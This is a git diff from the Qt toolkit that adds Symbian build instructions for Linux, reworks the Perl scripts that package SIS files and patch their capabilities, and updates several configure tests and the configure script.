6942 files changed, 450724 insertions, 225895 deletions

diff --git a/.gitignore b/.gitignore
index 7fe33b9..ad8e3ea 100644
--- a/.gitignore
+++ b/.gitignore
@@ -206,6 +206,11 @@ plugin_commonU.def
 *.sis
 *.sisx
 *.lst
+*.exe
+*.mif
+*.rsc
+*.sym
+*.lib
 
 # Generated by abldfast.bat from devtools.
 .abldsteps.*
diff --git a/README.s60-mkspec b/README.s60-mkspec
new file mode 100644
index 0000000..af500e1
--- /dev/null
+++ b/README.s60-mkspec
@@ -0,0 +1,99 @@
+How to build Qt for Symbian using the Linux makespec.
+
+Prerequisites:
+
+  - Working RVCT 2.2 native Linux compiler. The new publicly
+    available RVCT 4.0 compiler may work, but it hasn't been tested
+    yet.
+
+  - A working GnuPoc environment. See this page for details:
+    http://www.martin.st/symbian/
+    Download the latest version, unpack it and run the 'install_eka2_tools' script as
+    described in the last part under the EKA2 part. The part about the your own gcc
+    are not needed as we use the rvct compiler.
+    Make sure you do the part about Wine setup as well.
+
+  - Anderson Lizardo's patches for GnuPoc. Look for the
+    qt_s60_gnupoc_v10.patch on this page:
+    http://lizardo.wordpress.com/2009/09/24/installing-qt-for-s60-daily-snapshots-on-linux/
+    and carry out the instructions under point 8: Installing Open C.
+
+Compiling:
+
+ 1. First a few environment variables need to be set:
+
+        export RVCT22LIB=<rvct-dir>/lib/armlib
+        export EPOCROOT=<s60-root>
+        export PATH=$PATH:<s60-root>/epoc32/tools:<rvctInstallDir>/bin
+        export PATH=$PATH:<qt-root>/bin
+
+    Replace the s60-root with the installation directory of your SDK,
+    and the qt-root with the root of your Qt repository.
+    These are good candidates for putting in a script somewhere.
+
+ 2. Run configure. It needs a bit more switches than usual, so here's
+    the full line:
+
+        ./configure -developer-build -platform linux-g++ -xplatform \
+            symbian/linux-armcc -little-endian -host-little-endian \
+            -arch symbian
+
+ 3. Compile Qt
+
+        cd src
+        make
+
+    and then wait for a while.
+
+ 4. Package and install Qt
+
+        cd s60installs
+
+    Edit Qt_template.pkg and change the first 0x2xxxxxxx to
+    0xExxxxxxx. Then execute:
+
+        makesis Qt_template.pkg
+        signsis Qt_template.sis Qt_template.sisx selfsigned.cer selfsigned.key
+
+    Then put Qt_template.sisx on a memory card and install it from
+    the phone file manager.
+
+    Alternatively, you can use the runonphone tool found in the tools
+    directory of Qt. To build, this requires a separately configured
+    Qt installation for Linux, unfortunately. To use it, you also
+    need have App TRK running on the phone. At the time of writing,
+    only bleeding edge Linux kernels are able to autodetect the USB
+    serial port on the phone, but you can force detection by running:
+
+        modprobe usbserial vendor=0xXXXX product=0xXXXX
+
+    The XXXXs should be replaced with the two values listed for your
+    device when executing "lsusb". In most distributions, this will
+    lead to the creation of two devices: /dev/ttyUSB0 and
+    /dev/ttyUSB1. The latter is usually the one that App TRK responds
+    to. Then execute:
+
+        runonphone -p /dev/ttyUSB1 -s Qt_template.sisx dummy.exe
+
+    The dummy.exe argument is irrelevant, since we are not executing
+    anything yet.
+
+ 5. Compile some helloworld application (I leave the details to you
+    ;-)
+
+        qmake
+        make
+
+ 6. Package, install and run application.
+
+        makesis helloworld_template.pkg
+        signsis helloworld_template.sis helloworld_template.sisx \
+            <QTDIR>/src/s60installs/selfsigned.cer \
+            <QTDIR>/src/s60installs/selfsigned.key
+
+    Then either install by memory card, or install and run like this:
+
+        runonphone -p /dev/ttyUSB1 -s helloworld_template.sisx \
+            helloworld.exe
+
+ 7. Enjoy "hello world" on the phone!
diff --git a/bin/createpackage.sh b/bin/createpackage
index fdd4eeb..fdd4eeb 100755
--- a/bin/createpackage.sh
+++ b/bin/createpackage
diff --git a/bin/createpackage.pl b/bin/createpackage.pl
index 1d6ab6b..23fe26d 100755
--- a/bin/createpackage.pl
+++ b/bin/createpackage.pl
@@ -85,7 +85,7 @@ Where parameters are as follows:
                                winscw | gcce | armv5 | armv6 | armv7
      certificate             = The certificate file used for signing
      key                     = The certificate's private key file
-     passphrase              = The certificate's private key file's passphrase
+     passphrase              = The passphrase of the certificate's private key file
 
 Example:
      createpackage.pl fluidlauncher_template.pkg release-armv5
@@ -101,6 +101,10 @@ Example with certfile:
 
 If no certificate and key files are provided, either a RnD certificate or
 a self-signed certificate from QtDir\\src\\s60installs directory is used.
+In the latter case the resulting package will also be automatically patched
+using patch_capabilities.pl script, which makes it unsuitable for distribution.
+Always specify certificates explicitly if you wish to distribute your package.
+
 ==============================================================================================
 
 ENDUSAGESTRING
@@ -130,16 +134,21 @@ my $templatepkg = $ARGV[0];
 my $targetplatform = lc $ARGV[1];
 
 my @tmpvalues = split('-', $targetplatform);
-my $target = $tmpvalues[0];
-my $platform = $tmpvalues[1];;
+my $target;
+$target = $tmpvalues[0] or $target = "";
+my $platform;
+$platform = $tmpvalues[1] or $platform = "";
 
 # Convert visual target to real target (debug->udeb and release->urel)
 $target =~ s/debug/udeb/i;
 $target =~ s/release/urel/i;
 
-my $certificate = $ARGV[2];
-my $key = $ARGV[3];
-my $passphrase = $ARGV[4];
+my $certificate;
+$certificate = $ARGV[2] or $certificate = "";
+my $key;
+$key = $ARGV[3] or $key = "";
+my $passphrase;
+$passphrase = $ARGV[4] or $passphrase = "";
 
 # Generate output pkg basename (i.e. file name without extension)
 my $pkgoutputbasename = $templatepkg;
@@ -149,11 +158,11 @@ if ($pkgoutputbasename eq $templatepkg) {
     $preservePkgOutput = "1";
 }
 $pkgoutputbasename =~ s/\.pkg//g;
-$pkgoutputbasename = lc($pkgoutputbasename);
+$pkgoutputbasename = $pkgoutputbasename;
 
 # Store output file names to variables
-my $pkgoutput = lc($pkgoutputbasename.".pkg");
-my $sisoutputbasename = lc($pkgoutputbasename);
+my $pkgoutput = $pkgoutputbasename.".pkg";
+my $sisoutputbasename = $pkgoutputbasename;
 $sisoutputbasename =~ s/_$targetplatform//g;
 my $unsigned_sis_name = $sisoutputbasename."_unsigned.sis";
 my $signed_sis_name = $sisoutputbasename.".sis";
@@ -171,14 +180,6 @@ unless (length($templatepkg)) {
     Usage();
 }
 
-# If the pkg file is not actually a template, there is no need for plaform or target.
-if ($templatepkg =~ m/_template\.pkg/i) {
-    unless (length($platform) && length($target)) {
-        print "\nError: Platform or target is not defined!\n";
-        Usage();
-    }
-}
-
 # Check template exist
 stat($templatepkg);
 unless( -e _ ) {
@@ -240,12 +241,21 @@ if (!$preservePkgOutput) {
 }
 
 # Preprocess PKG
+
 local $/;
 # read template file
 open( TEMPLATE, $templatepkg) or die "Error '$templatepkg': $!\n";
 $_=<TEMPLATE>;
 close (TEMPLATE);
 
+# If the pkg file does not contain macros, there is no need for platform or target.
+if (m/\$\(PLATFORM\)/) {
+    unless (length($platform) && length($target)) {
+        print "\nError: Platform or target is not defined!\n";
+        Usage();
+    }
+}
+
 # replace the PKG variables
 s/\$\(PLATFORM\)/$platform/gm;
 s/\$\(TARGET\)/$target/gm;
@@ -267,12 +277,21 @@ if($stub) {
     # Create stub SIS.
     system ("makesis -s $pkgoutput $stub_sis_name");
 } else {
+    if ($certtext eq "Self Signed" && !@certificates) {
+        print("Auto-patching capabilities for self signed package.\n");
+        system ("patch_capabilities $pkgoutput");
+    }
+
     # Create SIS.
-    system ("makesis $pkgoutput $unsigned_sis_name");
+    # The 'and' is because system uses 0 to indicate success.
+    system ("makesis $pkgoutput $unsigned_sis_name") and die ("makesis failed");
     print("\n");
 
     # Sign SIS with certificate info given as an argument.
-    system ("signsis $unsigned_sis_name $signed_sis_name $certificate $key $passphrase");
+    my $relcert = File::Spec->abs2rel($certificate);
+    my $relkey = File::Spec->abs2rel($key);
+    # The 'and' is because system uses 0 to indicate success.
+    system ("signsis $unsigned_sis_name $signed_sis_name $relcert $relkey $passphrase") and die ("signsis failed");
 
     # Check if creating signed SIS Succeeded
     stat($signed_sis_name);
@@ -286,10 +305,10 @@ if($stub) {
         # Sign with additional certificates & keys
         for my $row ( @certificates ) {
             # Get certificate absolute file names, relative paths are relative to certfilepath
-            my $abscert = File::Spec->rel2abs( $row->[0], $certfilepath);
-            my $abskey = File::Spec->rel2abs( $row->[1], $certfilepath);
+            my $relcert = File::Spec->abs2rel(File::Spec->rel2abs( $row->[0], $certfilepath));
+            my $relkey = File::Spec->abs2rel(File::Spec->rel2abs( $row->[1], $certfilepath));
 
-            system ("signsis $signed_sis_name $signed_sis_name $abscert $abskey $row->[2]");
+            system ("signsis $signed_sis_name $signed_sis_name $relcert $relkey $row->[2]");
             print ("\tAdditionally signed the SIS with certificate: $row->[0]!\n");
         }
 
diff --git a/bin/patch_capabilities b/bin/patch_capabilities
new file mode 100755
index 0000000..0d89622
--- /dev/null
+++ b/bin/patch_capabilities
@@ -0,0 +1,3 @@
+#!/bin/sh
+scriptpath=`dirname $0`
+perl $scriptpath/patch_capabilities.pl "$@"
diff --git a/bin/patch_capabilities.pl b/bin/patch_capabilities.pl
index f82c48f..9741bc3 100755
--- a/bin/patch_capabilities.pl
+++ b/bin/patch_capabilities.pl
@@ -46,18 +46,32 @@
 #
 #######################################################################
 
+use File::Copy;
+
 sub Usage() {
     print("This script can be used to set capabilities of all binaries\n");
     print("specified for deployment in a .pkg file.\n");
     print("If no capabilities are given, the binaries will be given the\n");
-    print("capabilities supported by self-signed certificates.\n");
-    print("\n *** NOTE: If *_template.pkg file is given, 'target-platform' is REQUIRED. ***\n");
-    print("\nUsage: patch_capabilities.pl pkg_filename <target-platform> [capability list]\n");
+    print("capabilities supported by self-signed certificates.\n\n");
+    print(" *** NOTE: If *_template.pkg file is given and one is using symbian-abld or\n");
+    print(" symbian-sbsv2 platform, 'target-platform' is REQUIRED. ***\n");
+    print("\nUsage: patch_capabilities.pl pkg_filename [target-platform [capability list]]\n");
     print("\nE.g. patch_capabilities.pl myapp_template.pkg release-armv5 \"All -TCB\"\n");
     exit();
 }
 
-my @capabilitiesToSet = ("LocalServices", "NetworkServices", "ReadUserData", "UserEnvironment", "WriteUserData");
+sub trim($) {
+    my $string = shift;
+    $string =~ s/^\s+//;
+    $string =~ s/\s+$//;
+    return $string;
+}
+
+my $nullDevice = "/dev/null";
+$nullDevice = "NUL" if ($^O =~ /MSWin/);
+
+my @capabilitiesToAllow = ("LocalServices", "NetworkServices", "ReadUserData", "UserEnvironment", "WriteUserData");
+my @capabilitiesSpecified = ();
 
 # If arguments were given to the script,
 if (@ARGV)
@@ -73,11 +87,16 @@ if (@ARGV)
     if (($pkgFileName =~ m|_template\.pkg$|i) && -r($pkgFileName))
     {
         my $targetplatform;
-        unless ($targetplatform = shift(@ARGV))
+        my $templateFile;
+        my $templateContents;
+        open($templateFile, "< $pkgFileName") or die ("Could not open $pkgFileName");
+        $templateContents = <$templateFile>;
+        close($templateFile);
+        unless (($targetplatform = shift(@ARGV)) || $templateContents !~ /\$\(PLATFORM\)/)
         {
             Usage();
         }
-
+        $targetplatform = "-" if (!$targetplatform);
         my @tmpvalues = split('-', $targetplatform);
         $target = $tmpvalues[0];
         $platform = $tmpvalues[1];
@@ -90,13 +109,16 @@ if (@ARGV)
     # If the specified ".pkg" file exists (and can be read),
     if (($pkgFileName =~ m|\.pkg$|i) && -r($pkgFileName))
     {
+        print ("\n");
+        print ("Patching package file and relevant binaries...\n");
+
         # If there are more arguments given, parse them as capabilities.
         if (@ARGV)
         {
-            @capabilitiesToSet = ();
+            @capabilitiesSpecified = ();
             while (@ARGV)
             {
-                push (@capabilitiesToSet, pop(@ARGV));
+                push (@capabilitiesSpecified, pop(@ARGV));
             }
         }
 
@@ -163,18 +185,13 @@ if (@ARGV)
                 $manufacturerElseBlock = 0;
             }
 
-            print NEW_PKG $newLine;
-
-            chomp ($line);
-
             # If the line specifies a file, parse the source and destination locations.
             if ($line =~ m|\"([^\"]+)\"\s*\-\s*\"([^\"]+)\"|)
             {
                 my $sourcePath = $1;
-                my $destinationPath = $2;
 
                 # If the given file is a binary, check the target and binary type (+ the actual filename) from its path.
-                if ($sourcePath =~ m:/epoc32/release/([^/]+)/(udeb|urel|\$\(TARGET\))/(\w+(\.dll|\.exe)):i)
+                if ($sourcePath =~ m:\w+(\.dll|\.exe)$:i)
                 {
                     # Do preprocessing for template pkg,
                     # In case of template pkg target and platform variables are set
@@ -184,9 +201,22 @@ if (@ARGV)
                         $sourcePath =~ s/\$\(TARGET\)/$target/gm;
                     }
 
-                    push (@binaries, $sourcePath);
+                    # Change the source file name (but only if not already patched)
+                    my $patchedSourcePath = $sourcePath;
+                    if ($patchedSourcePath !~ m/_patched_caps/)
+                    {
+                        $newLine =~ s/(^.*)(\.dll|\.exe)(.*)(\.dll|\.exe)/$1_patched_caps$2$3$4/i;
+                        $patchedSourcePath =~ s/(^.*)(\.dll|\.exe)/$1_patched_caps$2/i;
+
+                        copy($sourcePath, $patchedSourcePath) or die "$sourcePath cannot be copied for patching.";
+                    }
+                    push (@binaries, $patchedSourcePath);
                 }
             }
+
+            print NEW_PKG $newLine;
+
+            chomp ($line);
         }
 
         close (PKG);
@@ -197,29 +227,50 @@ if (@ARGV)
 
         print ("\n");
 
-        my $baseCommandToExecute = "elftran -vid 0x0 -capability \"";
-        if (@capabilitiesToSet)
-        {
-            $baseCommandToExecute .= join(" ", @capabilitiesToSet);
-        }
-        $baseCommandToExecute .= "\" ";
+        my $baseCommandToExecute = "elftran -vid 0x0 -capability \"%s\" ";
 
         # Actually set the capabilities of the listed binaries.
         foreach my $binaryPath(@binaries)
         {
             # Create the command line for setting the capabilities.
             my $commandToExecute = $baseCommandToExecute;
+            if (@capabilitiesSpecified)
+            {
+                $commandToExecute = sprintf($baseCommandToExecute, join(" ", @capabilitiesSpecified));
+            } else {
+                # Test which capabilities are present and then restrict them to the allowed set.
+                # This avoid raising the capabilities of apps that already have none.
+                my $dllCaps;
+                open($dllCaps, "elftran -dump s $binaryPath |") or die ("Could not execute elftran");
+                my $capsFound = 0;
+                my @capabilitiesToSet;
+                my $capabilitiesToAllow = join(" ", @capabilitiesToAllow);
+                while (<$dllCaps>) {
+                    if (!$capsFound) {
+                        $capsFound = 1 if (/Capabilities:/);
+                    } else {
+                        $_ = trim($_);
+                        if ($capabilitiesToAllow =~ /$_/) {
+                            push(@capabilitiesToSet, $_);
+                        }
+                    }
+                }
+                close($dllCaps);
+                $commandToExecute = sprintf($baseCommandToExecute, join(" ", @capabilitiesToSet));
+            }
             $commandToExecute .= $binaryPath;
 
             # Actually execute the elftran command to set the capabilities.
-            system ($commandToExecute." > NUL");
-            print ("Executed ".$commandToExecute."\n");
+            print ("Executing ".$commandToExecute."\n");
+            system ($commandToExecute." > $nullDevice");
 
             ## Create another command line to check that the set capabilities are correct.
             #$commandToExecute = "elftran -dump s ".$binaryPath;
         }
 
         print ("\n");
+        print ("NOTE: A patched package should not be used for distribution!\n");
+        print ("\n");
     }
 }
 else
diff --git a/bin/syncqt b/bin/syncqt
index be4af2a..71f2eab 100755
--- a/bin/syncqt
+++ b/bin/syncqt
@@ -898,7 +898,8 @@ foreach (@modules_to_sync) {
 	push @master_includes, "$out_basedir/include/phonon_compat/Phonon/Phonon" if ($lib eq "phonon");
         foreach my $master_include (@master_includes) {
             #generate the "master" include file
-            $pri_install_files .= fixPaths($master_include, "$modules{$lib}") . " "; #get the master file installed too
+            my @tmp = split(/;/,$modules{$lib});
+            $pri_install_files .= fixPaths($master_include, "$tmp[0]") . " "; #get the master file installed too
             if($master_include && -e "$master_include") {
                 open MASTERINCLUDE, "<$master_include";
                 local $/;
diff --git a/config.tests/.gitignore b/config.tests/.gitignore
new file mode 100644
index 0000000..bd76520
--- /dev/null
+++ b/config.tests/.gitignore
@@ -0,0 +1,2 @@
+*.rpp
+*.rsg
diff --git a/config.tests/symbian/audio/.gitignore b/config.tests/symbian/audio/.gitignore
new file mode 100644
index 0000000..87a251c
--- /dev/null
+++ b/config.tests/symbian/audio/.gitignore
@@ -0,0 +1,2 @@
+audio.rpp
+audio.rsg
diff --git a/config.tests/symbian/audio/audio.cpp b/config.tests/symbian/audio/audio.cpp
new file mode 100644
index 0000000..4ffc728
--- /dev/null
+++ b/config.tests/symbian/audio/audio.cpp
@@ -0,0 +1,47 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the config.tests of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <sounddevice.h>
+
+int main(int argc, char **argv)
+{
+    return 0;
+}
diff --git a/config.tests/symbian/audio/audio.pro b/config.tests/symbian/audio/audio.pro
new file mode 100644
index 0000000..abbde6e
--- /dev/null
+++ b/config.tests/symbian/audio/audio.pro
@@ -0,0 +1,7 @@
+TARGET = audio
+SOURCES = audio.cpp
+
+INCLUDEPATH += $${EPOCROOT}epoc32/include/mmf/server
+INCLUDEPATH += $${EPOCROOT}epoc32/include/mmf/common
+
+LIBS += -lmmfdevsound
diff --git a/config.tests/symbian/compile.test b/config.tests/symbian/compile.test
new file mode 100755
index 0000000..20a3039
--- /dev/null
+++ b/config.tests/symbian/compile.test
@@ -0,0 +1,46 @@
+#!/bin/sh
+
+SUCCESS=no
+QMKSPEC=$1
+XPLATFORM=`basename "$1"`
+QMAKE_CONFIG=$2
+VERBOSE=$3
+SRCDIR=$4
+OUTDIR=$5
+TEST=$6
+EXE=`basename "$6"`
+DESCRIPTION=$7
+shift 7
+LFLAGS=""
+INCLUDEPATH=""
+CXXFLAGS=""
+MAC_ARCH_CXXFLAGS=""
+MAC_ARCH_LFLAGS=""
+
+# debuggery
+[ "$VERBOSE" = "yes" ] && echo "$DESCRIPTION auto-detection... ($*)"
+
+test -d "$OUTDIR/$TEST" || mkdir -p "$OUTDIR/$TEST"
+
+cd "$OUTDIR/$TEST"
+
+test -r Makefile && $MAKE distclean >/dev/null 2>&1
+
+"$OUTDIR/bin/qmake" -nocache -spec "$QMKSPEC" "CONFIG+=$QMAKE_CONFIG" "LIBS*=$LFLAGS" "LIBS+=$MAC_ARCH_LFLAGS" "INCLUDEPATH*=$INCLUDEPATH" "QMAKE_CXXFLAGS*=$CXXFLAGS" "QMAKE_CXXFLAGS+=$MAC_ARCH_CXXFLAGS" "$SRCDIR/$TEST/$EXE.pro" -o "$OUTDIR/$TEST/Makefile"
+
+if [ "$VERBOSE" = "yes" ]; then
+    $MAKE
+else
+    $MAKE >/dev/null 2>&1
+fi
+
+[ -x "$EXE.exe" ] && SUCCESS=yes
+
+# done
+if [ "$SUCCESS" != "yes" ]; then
+    [ "$VERBOSE" = "yes" ] && echo "$DESCRIPTION disabled."
+    exit 1
+else
+    [ "$VERBOSE" = "yes" ] && echo "$DESCRIPTION enabled."
+    exit 0
+fi
diff --git a/config.tests/unix/icd/icd.cpp b/config.tests/unix/icd/icd.cpp
new file mode 100644
index 0000000..8b74fd6
--- /dev/null
+++ b/config.tests/unix/icd/icd.cpp
@@ -0,0 +1,53 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the config.tests of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <libicd-network-wlan-dev.h>
+#include <maemo_icd.h>
+#include <iapconf.h>
+#include <proxyconf.h>
+#include <wlancond.h>
+#include <iapmonitor.h>
+#include <icd/dbus_api.h>
+
+int main(int, char **)
+{
+    return 0;
+}
diff --git a/config.tests/unix/icd/icd.pro b/config.tests/unix/icd/icd.pro
new file mode 100644
index 0000000..d736b41
--- /dev/null
+++ b/config.tests/unix/icd/icd.pro
@@ -0,0 +1,3 @@
+SOURCES = icd.cpp
+CONFIG -= qt
+mac:CONFIG -= app_bundle
diff --git a/config.tests/unix/largefile/largefile.pro b/config.tests/unix/largefile/largefile.pro
deleted file mode 100644
index d7affc6..0000000
--- a/config.tests/unix/largefile/largefile.pro
+++ /dev/null
@@ -1,3 +0,0 @@
-SOURCES=largefiletest.cpp
-CONFIG-=qt dylib
-mac:CONFIG -= app_bundle
diff --git a/config.tests/unix/largefile/largefiletest.cpp b/config.tests/unix/largefile/largefiletest.cpp
deleted file mode 100644
index bf25de9..0000000
--- a/config.tests/unix/largefile/largefiletest.cpp
+++ /dev/null
@@ -1,73 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the config.tests of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/* Sample program for configure to test Large File support on target
-platforms.
-*/
-
-#define _LARGEFILE_SOURCE
-#define _LARGE_FILES
-#define _FILE_OFFSET_BITS 64
-#include <unistd.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <assert.h>
-#include <stdio.h>
-
-int main( int, char **argv )
-{
-// check that off_t can hold 2^63 - 1 and perform basic operations...
-#define OFF_T_64 (((off_t) 1 << 62) - 1 + ((off_t) 1 << 62))
-    if (OFF_T_64 % 2147483647 != 1)
-	return 1;
-
-    // stat breaks on SCO OpenServer
-    struct stat buf;
-    stat( argv[0], &buf );
-    if (!S_ISREG(buf.st_mode))
-	return 2;
-
-    FILE *file = fopen( argv[0], "r" );
-    off_t offset = ftello( file );
-    fseek( file, offset, SEEK_CUR );
-    fclose( file );
-    return 0;
-}
diff --git a/config.tests/unix/pulseaudio/pulseaudio.cpp b/config.tests/unix/pulseaudio/pulseaudio.cpp
new file mode 100644
index 0000000..ba5405b
--- /dev/null
+++ b/config.tests/unix/pulseaudio/pulseaudio.cpp
@@ -0,0 +1,58 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the config.tests of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <pulse/pulseaudio.h>
+#include <pulse/glib-mainloop.h>
+
+#if !defined(PA_API_VERSION) || PA_API_VERSION-0 != 12
+# error "Incompatible PulseAudio API version"
+#endif
+#if !PA_CHECK_VERSION(0,9,0)
+# error "PulseAudio version too old"
+#endif
+
+int main(int, char **)
+{
+    const char *headers = pa_get_headers_version();
+    const char *library = pa_get_library_version();
+    pa_glib_mainloop_new(0);
+    return (headers - library) * 0;
+}
diff --git a/config.tests/unix/pulseaudio/pulseaudio.pro b/config.tests/unix/pulseaudio/pulseaudio.pro
index 698a35f..d75b16f 100644
--- a/config.tests/unix/pulseaudio/pulseaudio.pro
+++ b/config.tests/unix/pulseaudio/pulseaudio.pro
@@ -1,4 +1,3 @@
-SOURCES = pulseaudiotest.cpp
-LIBS+=-lpulse
-CONFIG -= qt dylib
-mac:CONFIG -= app_bundle
+SOURCES = pulseaudio.cpp
+CONFIG -= qt
+LIBS +=
diff --git a/config.tests/unix/pulseaudio/pulseaudiotest.cpp b/config.tests/unix/pulseaudio/pulseaudiotest.cpp
deleted file mode 100644
index eed88da..0000000
--- a/config.tests/unix/pulseaudio/pulseaudiotest.cpp
+++ /dev/null
@@ -1,49 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the documentation of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-#include <pulse/pulseaudio.h>
-
-int main(int ,char **)
-{
-    pa_threaded_mainloop *mainloop = pa_threaded_mainloop_new();
-    return 0;
-}
-
diff --git a/config.tests/unix/stl/stltest.cpp b/config.tests/unix/stl/stltest.cpp
index ff9b8f9..382f5cb 100644
--- a/config.tests/unix/stl/stltest.cpp
+++ b/config.tests/unix/stl/stltest.cpp
@@ -69,7 +69,7 @@ class DummyIterator
 public:
         T *i;
         typedef std::random_access_iterator_tag  iterator_category;
-        typedef ptrdiff_t difference_type;
+        typedef std::ptrdiff_t difference_type;
         typedef T value_type;
         typedef T *pointer;
         typedef T &reference;
diff --git a/configure b/configure
index ffaa498..600222b 100755
--- a/configure
+++ b/configure
@@ -173,6 +173,12 @@ UNAME_RELEASE=`(uname -r) 2>/dev/null` || UNAME_RELEASE=unknown
 UNAME_SYSTEM=`(uname -s) 2>/dev/null`  || UNAME_SYSTEM=unknown
 UNAME_VERSION=`(uname -v) 2>/dev/null` || UNAME_VERSION=unknown
 
+# detect the "echo without newline" style. usage: echo $ECHO_N "<string>$ECHO_C"
+if echo '\c' | grep '\c' >/dev/null; then
+    ECHO_N=-n
+else
+    ECHO_C='\c'
+fi
 
 #-------------------------------------------------------------------------------
 # window system detection
@@ -428,11 +434,7 @@ elif [ $COMMERCIAL_USER = "yes" ]; then
     else
         if [ -z "$LicenseKeyExt" ]; then
             echo
-            if echo '\c' | grep '\c' >/dev/null; then
-                echo -n "Please enter your license key: "
-            else
-                echo "Please enter your license key: \c"
-            fi
+            echo $ECHO_N "Please enter your license key: $ECHO_C"
             read LicenseKeyExt
             Licensee="Unknown user"
         fi
@@ -658,6 +660,7 @@ MIN_DBUS_1_VERSION=0.93
 CFG_CONFIGURE_EXIT_ON_ERROR=yes
 CFG_PROFILE=no
 CFG_EXCEPTIONS=unspecified
+CFG_GUI=auto # (yes|no|auto)
 CFG_SCRIPT=auto # (yes|no|auto)
 CFG_SCRIPTTOOLS=auto # (yes|no|auto)
